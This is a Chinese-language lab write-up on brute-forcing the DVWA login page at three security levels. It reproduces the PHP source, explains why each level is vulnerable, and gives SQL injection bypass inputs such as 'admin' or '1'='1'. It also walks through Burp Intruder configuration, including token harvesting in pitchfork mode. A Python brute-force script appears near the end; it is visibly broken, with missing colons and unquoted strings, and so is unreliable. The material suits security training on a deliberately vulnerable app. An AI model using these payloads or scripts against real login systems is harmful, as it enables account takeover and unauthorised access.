DVWA-Brute Force(暴力破解)
Brute Force
Brute Force,即暴力(破解),是指黑客利用密碼字典,使用窮舉法猜解出使用者密碼,是現在最為廣泛使用的攻擊手法之一,如2014年轟動全國的12306“撞庫”事件,實質就是暴力破解攻擊。

LOW級别
源代碼如下:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
可以看到,伺服器隻是驗證了參數Login是否被設定(isset函數在php中用來檢測變量是否設定,該函數傳回的是布爾類型的值,即true/false),沒有任何的防爆破機制,且對參數username、password沒有做任何過濾,存在明顯的sql注入漏洞。
實測
方法一burpsuite
設定好代理,burp走起
第一步抓包
第二步右擊發送給intrude子產品或者Ctrl+I,因為要對password那個進行破解,是以,要清除全部“§”符号,為password參數添加"§"
第三步選擇“payload”選項進行暴力破解,載入字典檔案
第四步看到有一行與其他響應長度不同,可以推測為正确的密碼
登入試一下
方法二手工注入
username:admin’ or’ 1’=’ 1
password:(空)
username:admin’ #
password:(空)
Medium級别
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
相比Low級别的代碼,Medium級别的代碼主要增加了mysql_real_escape_string函數,這個函數會對字元串中的特殊符号(x00,n,r,,’,”,x1a)進行轉義,基本上能夠抵禦sql注入攻擊,說基本上是因為查到說 MySQL5.5.37以下版本如果設定編碼為GBK,能夠構造編碼繞過mysql_real_escape_string 對單引号的轉義(因實驗環境的MySQL版本較新,是以并未做相應驗證);同時,$pass做了MD5校驗,杜絕了通過參數password進行sql注入的可能性。但是,依然沒有加入有效的防爆破機制(sleep(2)實在算不上)。
同low級别一樣使用同樣的爆破方式
high級别
源代碼如下:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High級别的代碼加入了Token,可以抵禦CSRF攻擊,同時也增加了爆破的難度,通過抓包,可以看到,登入驗證時送出了四個參數:username、password、Login以及user_token。
每次伺服器傳回的登陸頁面中都會包含一個随機的user_token的值,使用者每次登入時都要将user_token一起送出。伺服器收到請求後,會優先做token的檢查,再進行sql查詢。
同時,High級别的代碼中,使用了stripslashes(去除字元串中的反斜線字元,如果有兩個連續的反斜線,則隻去掉一個)、 mysql_real_escape_string對參數username、password進行過濾、轉義,進一步抵禦sql注入。
這裡用來自大佬的腳本
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.x.x',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.x.x/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=xxxxxxxxxxxxxxxxxx'}
requrl = "http://192.168.x.x/dvwa/vulnerabilities/brute/"
def get_token(requrl,header)
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,html.parser)
user_token = soup.form.input.input.input.input[value] #get the user_token
return user_token
user_token = get_token(requrl,header)
i=0
for line in open(rkolin.txt)
requrl = "http://192.168.x.x/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10)
break
運作腳本時burpsuite截圖
列印的結果從第二行開始依次是序号、使用者名、密碼、http狀态碼以及傳回的頁面長度。
對比結果看到,密碼為password時傳回的長度不太一樣,手工驗證,登入成功,爆破完成。
方法二burpsuite
第一步
将攔截結果發送給intrude
第二步
設定兩個參數 password和user_token為變量,攻擊類型選擇pitchfork,意思是草叉模式(Pitchfork )——它可以使用多組Payload集合,在每一個不同的Payload标志位置上(最多20個),周遊所有的Payload。舉例來說,如果有兩個Payload标志位置,第一個Payload值為A和B,第二個Payload值為C和D,則發起攻擊時,将共發起兩次攻擊,第一次使用的Payload分别為A和C,第二次使用的Payload分别為B和D。
第三步
設定參數,在option頁籤中将攻擊線程thread設定為1,因為Recursive_Grep模式不支援多線程攻擊,然後選擇Grep-Extract,意思是用于提取響應消息中的有用資訊,點選Add,如下圖進行設定,最後将Redirections設定為Always
第四步
然後設定payload,第一個參數設定不在贅述,第二個參數選擇Recursive grep,然後将options中的token作為第一次請求的初始值。
第五步點選start attack攻擊爆破,結果成功爆破,如下圖所示
參考轉自:https://www.freebuf.com/articles/web/116437.html
參考轉自:https://blog.csdn.net/liweibin812/article/details/86287645